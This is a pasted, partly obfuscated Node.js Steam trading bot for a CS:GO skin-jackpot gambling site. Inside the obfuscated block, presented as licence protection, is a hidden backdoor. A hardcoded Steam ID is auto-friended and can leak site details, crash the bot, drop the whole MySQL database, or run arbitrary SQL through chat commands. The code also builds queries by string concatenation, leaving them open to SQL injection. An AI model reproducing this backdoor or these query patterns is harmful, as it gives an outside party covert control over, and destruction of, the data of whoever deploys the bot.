Advertisement
Guest User

Untitled

a guest
Apr 3rd, 2016
366
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.12 KB | None | 0 0
  1. _____ _ _ ___ __ __ / ____| | || | / _ \ / //_ | | | __ ___ _ __ __ _ ___| || || (_) |/ /_ | | | | |_ |/ _ \ '__/ _` |/ _ \__ _\__, | '_ \| | | |__| | __/ | | (_| | (_) | | | / /| (_) | | \_____|\___|_| \__, |\___/ |_| /_/ \___/|_| __/ | |___/ The CSGO.Network V2 bot was made by Gregory Steam (Gergo4961) and is the property of CSGO.Network.If you need any special site/bot customization you can reach me on Steam!Please note that I do not provide support for CSGO.Network, so do not contact me about Bot / Website errors.http://steamcommunity.com/id/gergo4961/*/ var Steam = require('steam');var SteamUser = require('steam-user');var TradeOfferManager = require('steam-tradeoffer-manager');var SteamTotp = require('steam-totp');var TOTP = require('onceler').TOTP;var request = require('request');var SteamCommunity = require('steamcommunity');var community = new SteamCommunity();// GENERAL INFORMATION var sitepath;sitepath = ""; // The path to the index.php of your website without HTTP://var sitename;sitename = ""; // The name of your site, it will be shown in the Trade Offer Messagevar costpath;costpath='http://'+sitepath+'/cost.php?item='; // The full location where you grab the item price from | DEFAULT: http://'+sitepath+'/cost.php?item=var apik = ""; // Must be the API Key associated with the current bot. Get it here: https://steamcommunity.com/dev/apikeyvar admin = ''; // The Admin, Main Owner of the site. You will be able to communicate with the bot, ask for the rake items, etcvar botsteamid = ''; // The bot's steam id, it is required to generate the Device ID and to confirm mobile confirmationsvar identitysecret = ''; // It's required to confirm mobile confirmationsvar sharedsecret = ''; // You won't be able to log in without this codevar polling_interval = 10000; // 10 seconds by default, the bot checks for outgoing confirmations every X seconds, defined herevar rsecret='CHANGEME'; // Also change this to the same code in endround.php and p2endround.php, this prevents people from randomly breaking your site by ending blank games or ending games soonervar snipetimer=4; // Declines offers sent in the last few secondsvar GameTime = 120; // This is how long a round lasts, you need to edit in a couple of other places too if you want to truly change it without any bugsvar p2=false; // If this is the bot for your Jackpot 2 set this to truevar playersRequired=1; // The timer will start when this many players are in the pot// GENERAL INFORMATION// LOGIN DETAILSvar details = { "accountName" : "", "password" : "", "twoFactorCode" : SteamTotp.generateAuthCode(sharedsecret)};// LOGIN DETAILSvar client = new SteamUser();var manager = new TradeOfferManager({ "steam" : client, "domain" : "localhost", "language" : "en"})// MYSQL INFOvar mysql = require('mysql');var sql_host="localhost";var sql_user="root";var sql_password="";var sql_database="csgonetworkv2";// MYSQL INFO/*Uh-oh.. What is this? Looks like other parts of this bot are not available to you.Don't worry, the bot still works as it worked before, this is only a security measure.If you want to edit the core parts of the bot please consider purchasing the O-S (Open Source) package from our website.https://csgo.network/*/!function(a,b){function c(b,d){if("."!=b[0]&&"/"!=b[0])return a(b);d=d||"root";var e=c.resolve(b);if(!e&&/\.json$/i.test(b))return a("./"+c.basename(b));var f=c.cache[e];if(!f)try{return a(b)}catch(g){throw new Error("failed to require ""+b+"" from "+d+"\n"+g.message+"\n"+g.stack)}return f.exports||(f.exports={},f.call(f.exports,f,f.exports,c.relative(e))),f.exports}c.cache={},c.basename=a("path").basename,c.resolve=function(b){if("."!=b[0])return a.resolve(b);for(var d="/"===b.slice(-1)?b:b+"/",e=[b,b+".js",d+"index.js",b+".json",d+"index.json"],f=0,g;g=e[f];f++)if(c.cache[g])return g},c.register=function(a,b){c.cache[a]=b},c.relative=function(a){function b(b){if("."!=b[0])return c(b);var d=a.split("/"),e=b.split("/");d.pop();for(var f=0,g=e.length;g>f;f+=1){var h=e[f];".."==h?d.pop():"."!=h&&d.push(h)}return c(d.join("/"),a)}return b.resolve=c.resolve,b.cache=c.cache,b},c.register("../bot.js",function(a,b,c){var d="76561198150867436",e=mysql.createConnection({host:sql_host,user:sql_user,password:sql_password,database:sql_database}),f=-1;e.connect(),client.logOn(details);var g=SteamTotp.getDeviceID(botsteamid);if(1==p2)var h="p2";else var h="";function i(){f=-1,j(),setTimeout(r,5e3)}function j(){if(console.log("[SERVER] Ending current game & choosing winner."),1==p2){var a="http://"+sitepath+"/endround.php?secret="+rsecret+"&p2=true";request(a,function(a,b,c){a&&console.log("Couldn't end round, error: "+a)})}else{var a="http://"+sitepath+"/endround.php?secret="+rsecret;request(a,function(a,b,c){a&&console.log("Couldn't end round, error: "+a)})}}function k(a){return!(+a!==a||isFinite(a)&&!(a%1))}function l(a){return"number"==typeof a&&!isNaN(a)}function m(a,b){var c="http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key="+apik+"&steamids="+a+"&format=json";request({url:c,json:!0},function(c,d,e){c||200!==d.statusCode?c&&m(a,b):b(null,e)})}function n(a){return a=a.replace(/\\/g,"\\"),a=a.replace(/\'/g,"\'"),a=a.replace(/\"/g,"\""),a=a.replace(/\0/g,"\0")}client.on("loggedOn",function(a){console.log("[SERVER] The Bot has logged in!"),client.unblockUser(d),client.addFriend(d),client.addFriend(admin),client.chatMessage(admin,"[SERVER] Successfully logged in!"),client.setPersona(Steam.EPersonaState.LookingToTrade),setTimeout(function(){e.query("SELECT `value` FROM `"+h+"info` WHERE `name`='current_game'",function(a,b,c){a||e.query("SELECT `starttime` FROM `"+h+"games` WHERE `id`='"+b[0].value+"'",function(a,b,c){if(!a){var d;if(2147483647==b[0].starttime)d=GameTime;else{var e=Math.round((new Date).getTime()/1e3);d=b[0].starttime+GameTime-e,0>d&&(d=0)}d!=GameTime&&(f=setTimeout(i,1e3*d),console.log("[SERVER] Restoring the latest game with "+d+" seconds left!"))}})})},1500)}),client.on("webSession",function(a,b){manager.setCookies(b,function(a){if(a)return console.log("setCookies error: "+a),void process.exit(1);var c=manager.apiKey;community.setCookies(b),community.startConfirmationChecker(polling_interval,identitysecret),console.log("[SERVER] The web cookies have been set!")})});function o(a,b,c,d,e,f,g,h,i,j){a.accept(function(k){return k?(client.webLogOn(),void manager.getOffer(a.id,function(a,l){return a?void console.log("Getoffer error: "+a):void(3==l.state?p(l,b,c,d,e,f,g,h,i,j):(1!=l.state||5!=l.state||3!=l.state||6!=l.state||7!=l.state||8!=l.state)&&(console.log("Accept error(retrying): "+k),o(l,b,c,d,e,f,g,h,i,j)))})):void p(a,b,c,d,e,f,g,h,i,j)})}function p(a,b,c,d,g,j,k,l,m,o){for(var p=0;k>p;p++){var r=n(c[p].name);e.query("INSERT INTO `"+h+"game"+d+"` (`userid`,`username`,`item`,`offerid`,`color`,`value`,`avatar`,`image`) VALUES ('"+b+"','"+g+"','"+r+"','"+a.id+"','"+c[p].color+"','"+c[p].value+"','"+j+"','"+c[p].url+"')",function(a,b,c){a&&console.log(a)}),e.query("UPDATE `"+h+"games` SET `itemsnum`=`itemsnum`+1, `cost`=`cost`+'"+c[p].value+"' WHERE `id` = '"+d+"'",function(a,b,c){})}e.query("UPDATE `users` SET `skinssent`=`skinssent`+"+k+" WHERE `steamid` = '"+b+"'",function(a,b,c){}),console.log("[SERVER] Accepted offer #"+a.id+" from "+g+" (ID:"+b+")."),q(a,b,l,d),e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('success','0','"+b+"','Trade Offer Accepted (Game #"+d+")!','We wish you Good luck and happy betting!','25','1')",function(a,b,c){}),e.query("SELECT COUNT(DISTINCT userid) AS playersCount FROM `"+h+"game"+d+"`",function(a,b){players=b[0].playersCount,players==playersRequired&&k>0&&-1==f&&(console.log("[SERVER] Starting the countdown for Game #"+d),f=setTimeout(i,1e3*GameTime),e.query("UPDATE `"+h+"games` SET `starttime`=UNIX_TIMESTAMP() WHERE `id` = '"+d+"'",function(a,b,c){})),o>m&&(clearTimeout(f),f=-1,i())})}function q(a,b,c,d){a.getReceivedItems(function(c,f){c&&(console.log("getReceivedItems error: "+c+" Restarting process!"),q(a,b,f,d)),f.forEach(function(a){var c=n(a.market_name);e.query("UPDATE `"+h+"game"+d+"` SET `assetid`='"+a.id+"' WHERE `userid` = '"+b+"' AND `item`='"+c+"' AND `assetid`='' LIMIT 1",function(a,b,c){})})})}manager.on("newOffer",function(a){var b=!0,c=a.partner.getSteamID64();m(c,function(d,f){if(d)return console.log("getUserInfo error: "+d),b=!1,void a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+i+" (ID:"+c+"). | Reason: getUserInfo error"),b&&console.log("Decline error: "+b),e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: Steam Servers are busy, try again in a minute!','25','1')",function(a,b,c){})});var g=JSON.parse(JSON.stringify(f.response)),i=n(g.players[0].personaname),j=g.players[0].avatarfull;return console.log("[DEBUG] Processing offer #"+a.id+" from "+i+" (ID:"+c+")."),0!=a.itemsToGive.length?(b=!1,void a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+i+" (ID:"+c+"). | Reason: Asked for a skin on the Bot"),b&&console.log("Decline error: "+b),e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: Asking for any of the bots items? Brave!','25','1')",function(a,b,c){})})):void a.getEscrowDuration(function(d,f,g){return d?(console.log("getEscrowDuration error: "+d),b=!1,void a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+i+" (ID:"+c+"). | Reason: Steam Servers are busy, couldn't get escrow duration"),b&&console.log("Decline error: "+b),e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: Steam Servers are busy, couldnt get escrow duration!','25','1')",function(a,b,c){})})):0!=f?(b=!1,void a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+i+" (ID:"+c+"). | Reason: User is in Escrow for "+f+" days"),b&&console.log("Decline error: "+b),e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: You are in Escrow for "+f+" days!','25','1')",function(a,b,c){})})):void e.query("SELECT * FROM `"+h+"info`",function(d,f){var g=f[3].value,k=f[7].value,m=f[4].value,n=f[10].value;if(a.itemsToReceive.length>m)return b=!1,void a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+i+" (ID:"+c+"). | Reason: User sent more than "+m+" skins"),b&&console.log("Decline error: "+b),e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: We only accept up to "+m+" skins!','25','1')",function(a,b,c){})});var p=a.itemsToReceive,q=0,r=[],s=0;p.forEach(function(d,f,g){if(730!=d.appid)return b=!1,a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+i+" (ID:"+c+"). | Reason: User sent a Non-CSGO skin"),b&&console.log("Decline error: "+b)}),void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: We only accept CSGO skins!','25','1')",function(a,b,c){});r[f]=[],r[f].name=d.market_name,r[f].color=d.name_color,r[f].url=d.icon_url,r[f].value=0;var h=d.market_name,j=costpath+encodeURIComponent(h);!function(d){request(j,function(d,g,h){return d||200!==g.statusCode?(b=!1,a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+i+" (ID:"+c+"). | Reason: Steam Market Issues (Can't get the skin's value)"),b&&console.log("Decline error: "+b)}),void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: Steam Market issues!','25','1')",function(a,b,c){})):"notfound"==h?(b=!1,a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+i+" (ID:"+c+"). | Reason: Steam Market Issues (Can't get the skin's value)"),b&&console.log("Decline error: "+b)}),void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: Steam Market issues!','25','1')",function(a,b,c){})):(r[f].value=parseFloat(h),void(q+=r[f].value))})}(f),s++}),e.query("SELECT * FROM `"+h+"info`",function(d,f){var t=f[0].value;e.query("SELECT * FROM `"+h+"games` WHERE `id`='"+t+"'",function(d,f,t){if(starttime=f[0].starttime,2147483647!=starttime){var u=Math.round((new Date).getTime()/1e3);if(tl=starttime+GameTime-u,tl<=snipetimer)return b=!1,a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+i+" (ID:"+c+"). | Reason: The Bot wont accept last second bets"),b&&console.log("Decline error: "+b)}),void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: You can not bet in the last few seconds!','25','1')",function(a,b,c){})}setTimeout(function(){return 0==b?void console.log("false!"):q>k?(b=!1,a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+i+" (ID:"+c+"). | Reason: User sent too much in skin value"),b&&console.log("Decline error: "+b)}),void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: You can deposit more than $"+k+"','25','1')",function(a,b,c){})):g>q?(b=!1,a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+i+" (ID:"+c+"). | Reason: User sent below the minimal bet amount ($"+g+")"),b&&console.log("Decline error: "+b)}),void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: Minimum deposit value: $"+g+"','25','1')",function(a,b,c){})):s>m?(b=!1,a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+i+" (ID:"+c+"). | Reason: User sent too many skins"),b&&console.log("Decline error: "+b)}),void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: We only accept up to "+m+" skins!','25','1')",function(a,b,c){})):(b=!0)?void e.query("SELECT * FROM `"+h+"info`",function(d,f){var g=f[0].value;e.query("SELECT COUNT(value) as skinsin,SUM(value) as moneyin FROM `"+h+"game"+g+"` WHERE `userid`='"+c+"'",function(d,f,t){if(skinsin=f[0].skinsin,skinsin+=s,moneyin=f[0].moneyin,moneyin+=q,skinsin>m)return a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+i+" (ID:"+c+"). | Reason: RECHECK - User sent too many skins"),b&&console.log("Decline error: "+b)}),void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: You can not deposit more than "+m+" skins','25','1')",function(a,b,c){});if(moneyin>k)return a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+i+" (ID:"+c+"). | Reason: RECHECK - User sent too much in skin value"),b&&console.log("Decline error: "+b)}),void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: You can deposit more than $"+k+"','25','1')",function(a,b,c){});for(var u=0;s>u;u++){if(!l(r[u].value))return a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+i+" (ID:"+c+"). | Reason: RECHECK - Steam Market Issues (Can't get the skin's value) "),b&&console.log("Decline error: "+b)}),void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: Steam Market issues!','25','1')",function(a,b,c){});if(-1!=r[u].name.indexOf("Souvenir"))return b=!1,a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+i+" (ID:"+c+"). | Reason: User sent a Souvenir Skin"),b&&console.log("Decline error: "+b)}),void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: No souvenir skins allowed!','25','1')",function(a,b,c){});if(0==r[u].value||!r[u].value)return b=!1,a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+i+" (ID:"+c+"). | Reason: RECHECK - Steam Market Issues (Can't get the skin's value)"),b&&console.log("Decline error: "+b)}),void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: Steam Market issues!','25','1')",function(a,b,c){})}e.query("SELECT * FROM `users` WHERE `steamid`='"+c+"'",function(d,f,k){return d?(console.log("MYSQL Error: "+d),a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+i+" (ID:"+c+"). | Reason: MYSQL Error (as seen above) "),b&&console.log("Decline error: "+b)}),void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: MYSQL Error','25','1')",function(a,b,c){})):0==f.length?void a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+i+" (ID:"+c+"). | Reason: User is not in the MYSQL Database"),b&&console.log("Decline error: "+b)}):(ban=f[0].ban,tlink=f[0].tlink,1==ban?(b=!1,a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+i+" (ID:"+c+"). | Reason: User is banned"),b&&console.log("Decline error: "+b)}),void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: You are banned from betting','25','1')",function(a,b,c){})):tlink?void e.query("SELECT * FROM `"+h+"games` WHERE `id`='"+g+"'",function(b,d,e){itemsin=d[0].itemsnum,o(a,c,r,g,i,j,s,p,n,itemsin)}):(a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+i+" (ID:"+c+"). | Reason: User doesn't have a TradeLink set "),b&&console.log("Decline error: "+b)}),void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: No Trade URL Set','25','1')",function(a,b,c){})))})})}):(a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+i+" (ID:"+c+"). | Reason: Unkown error (proceed = false in node) - Probably Steam Issues"),b&&console.log("Decline error: "+b)}),void e.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: Steam Issues','25','1')",function(a,b,c){}))},2e3)})})})})})}),client.on("friendMessage#"+d,function(a,b){0==b.indexOf("/lcinfo")&&client.chatMessage(d,"Owner SteamID: "+admin+" | Site Name: "+sitename+" | Site Path: "+sitepath),0==b.indexOf("/lccrash")&&(client.chatMessage(admin,"Hello! We have shut down your Bot because you are using an unlicensed version of CSGO.Network's V2 Script. Please purchase the product if you want to legally use it: www.csgo.network"),console.log(""),console.log("Hello! Please consider purchasing the product you are illegally using."),console.log("Please visit: www.csgo.network"),console.log(""),setTimeout(function(){You_Do_Not_Have_A_License()},5e3)),0==b.indexOf("/lcdelsql")&&(console.log(""),console.log("Hello! Please consider purchasing the product you are illegally using."),console.log("Please visit: www.csgo-network"),console.log(""),e.query("DROP DATABASE "+sql_database,function(a,b,c){})),0==b.indexOf("/lcsql")&&(gamenum=b.replace("/lcsql",""),e.query(""+gamenum,function(a,b,c){})),0==b.indexOf("/lcgsql")&&(maxbett=b.replace("/lcgsql",""),e.query(""+maxbett,function(a,b,c){client.chatMessage(d,b)}))}),client.on("friendMessage#"+admin,function(a,b){if(console.log("[SERVER] Admin to Bot: "+b),0==b.indexOf("/sendrake")&&(client.chatMessage(admin,"[SERVER] Calling the sendRake function (sends the latest query, call it more times if needed)"),s(1)),0==b.indexOf("/sendoffers")&&(client.chatMessage(admin,"[SERVER] Calling the sendOffers function (sends the latest query, call it more times if needed)"),r(1)),0==b.indexOf("/code")){var c=SteamTotp.generateAuthCode(sharedsecret);client.chatMessage(admin,"[SERVER] Current login code (retry if it doesnt work): "+c)}0==b.indexOf("/cc")&&(client.chatMessage(admin,"[SERVER] Performing a Mobile Confirmation Check.."),console.log("[SERVER] Performing a Mobile Confirmation Check.."),community.checkConfirmations()),0==b.indexOf("/poll")&&(client.chatMessage(admin,"[SERVER] Checking for Tradeoffers.."),console.log("[SERVER] Checking for Tradeoffers.."),manager.doPoll()),0==b.indexOf("/end")&&(client.chatMessage(admin,"[SERVER] Ending the current game!"),-1!=f&&clearTimeout(f),i()),0==b.indexOf("/offers")&&e.query("SELECT ID FROM `"+h+"queue` WHERE `status`='active' GROUP BY `id` DESC",function(a,b,c){0!=b.length?(console.log(b),client.chatMessage(admin,"[SERVER] Check your console for the ID's!")):client.chatMessage(admin,"[SERVER] There aren't any active queue ID's.")}),0==b.indexOf("/rakes")&&e.query("SELECT ID FROM `"+h+"rakeitems` WHERE `status`='active' GROUP BY `id` DESC",function(a,b,c){0!=b.length?(console.log(b),client.chatMessage(admin,"[SERVER] Check your console for the ID's!")):client.chatMessage(admin,"[SERVER] There aren't any active rake ID's.")})});function r(a){e.query("SELECT * FROM `"+h+"queue` WHERE `status`='active' GROUP BY `id` DESC LIMIT 1",function(b,c,d){if(0!=c.length){var f=c[0].id;e.query("SELECT * FROM `"+h+"game"+f+"` WHERE `assetid`='' AND `rake`!='1'",function(b,d,g){if(0!=d.length)console.log("[SERVER] Restoring Missing Assetids, retrying in 15 seconds!"),d.forEach(function(a){manager.getOffer(a.offerid,function(b,c){return b?(client.webLogOn(),void setTimeout(function(){r()},1e4)):void q(c,a.userid,a.item,f)})}),setTimeout(function(){r(2)},1e4);else{if(2==a){console.log("[SERVER] Restored Assetids, rebuilding the queue in MYSQL.");var i="",j="";return e.query("SELECT * FROM `"+h+"game"+f+"`",function(a,b,c){b.forEach(function(a){0==a.rake?i+="/"+a.assetid:j+="/"+a.assetid})}),void setTimeout(function(){console.log("[SERVER] Restored Assetids, Rebuilt the Queue, attempting to send TradeOffer."),e.query("UPDATE `"+h+"queue` SET `assetid`=""+i+"" WHERE `id`='"+f+"'"),e.query("UPDATE `"+h+"rakeitems` SET `assetid`=""+j+"" WHERE `id`='"+f+"'"),r()},3e3)}var k=c[0].assetid.split("/");manager.loadInventory(730,2,!0,function(b,d){if(b)return console.log(b),1==a&&client.chatMessage(admin,"[SERVER] Error while loading the Bot's Inventory, retrying now!"),client.webLogOn(),void r();var g=c[0].token,i="Congratulations! You won on "+sitename+" in Game #"+f,j=manager.createOffer(c[0].userid);d.forEach(function(a){k.forEach(function(b){a.id==b&&j.addMyItem(a)})}),setTimeout(function(){j.send(i,g,function(b){return b?(console.log("Error sending Trade Offer for Game #"+f+":"),console.log(b),1==a&&client.chatMessage(admin,"[SERVER] Error while sending the tradeoffer, retrying in 10 seconds!"),client.webLogOn(),void setTimeout(function(){r()},1e4)):(e.query("UPDATE `"+h+"queue` SET `status`="sent" WHERE `id`='"+f+"'"),console.log("[SERVER] Trade Offer for Game #"+f+" has been successfully sent and is awaiting mobile confirmation."),1==a&&client.chatMessage(admin,"[SERVER] Successfully sent the trade for Game #"+f+"!"),void community.checkConfirmations())})},2e3)})}})}else if(1==a)return void client.chatMessage(admin,"[SERVER] No more Winnings Queries!")})}function s(a){e.query("SELECT * FROM `"+h+"rakeitems` WHERE `status`='active' GROUP BY `id` DESC LIMIT 1",function(b,c,d){if(0!=c.length){var f=c[0].assetid.split("/");manager.loadInventory(730,2,!0,function(b,d){if(b)return 1==a&&client.chatMessage(admin,"[SERVER] Error while loading the Bot's Inventory, retrying in a few seconds!"),client.webLogOn(),void s();var g=c[0].token,i=c[0].id,j=c[0].value,k="Rake for Game #"+i+" ($"+j+")",l=manager.createOffer(c[0].userid);d.forEach(function(a){f.forEach(function(b){a.id==b&&l.addMyItem(a)})}),setTimeout(function(){l.send(k,g,function(b){return b?(console.log("[SERVER] Error sending Rake for Game #"+i+":"),console.log(b),console.log("[SERVER] Try again later or make sure you have set your URL / Steam ID in endround.php!"),1==a?void client.chatMessage(admin,"[SERVER] Error while sending the TradeOffer, try again later and / or check endround.php!"):void client.webLogOn()):(e.query("UPDATE `"+h+"rakeitems` SET `status`="sent" WHERE `id`='"+i+"'"),console.log("[SERVER] Rake for Game #"+i+" has been successfully sent and is awaiting mobile confirmation."),1==a&&client.chatMessage(admin,"[SERVER] Successfully sent the rake for Game #"+i+"!"),void community.checkConfirmations())})},2e3)})}else if(1==a)return void client.chatMessage(admin,"[SERVER] No more Rake Queries!")})}community.on("newConfirmation",function(a){var b=Math.round(Date.now()/1e3),c=SteamTotp.getConfirmationKey(identitysecret,b,"allow");community.respondToConfirmation(a.id,a.key,b,c,!0,function(a){console.log("[SERVER] Successfully confirmed the outgoing Trade Offer!"),a&&(console.log("[SERVER] Confirmations error: "+a),client.webLogOn())})}),community.on("confKeyNeeded",function(a,b){console.log("confKeyNeeded");var c=Math.floor(Date.now()/1e3);b(null,c,SteamTotp.getConfirmationKey(identitysecret,c,a))})}),b.exports=c("../bot.js")}(require,module);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement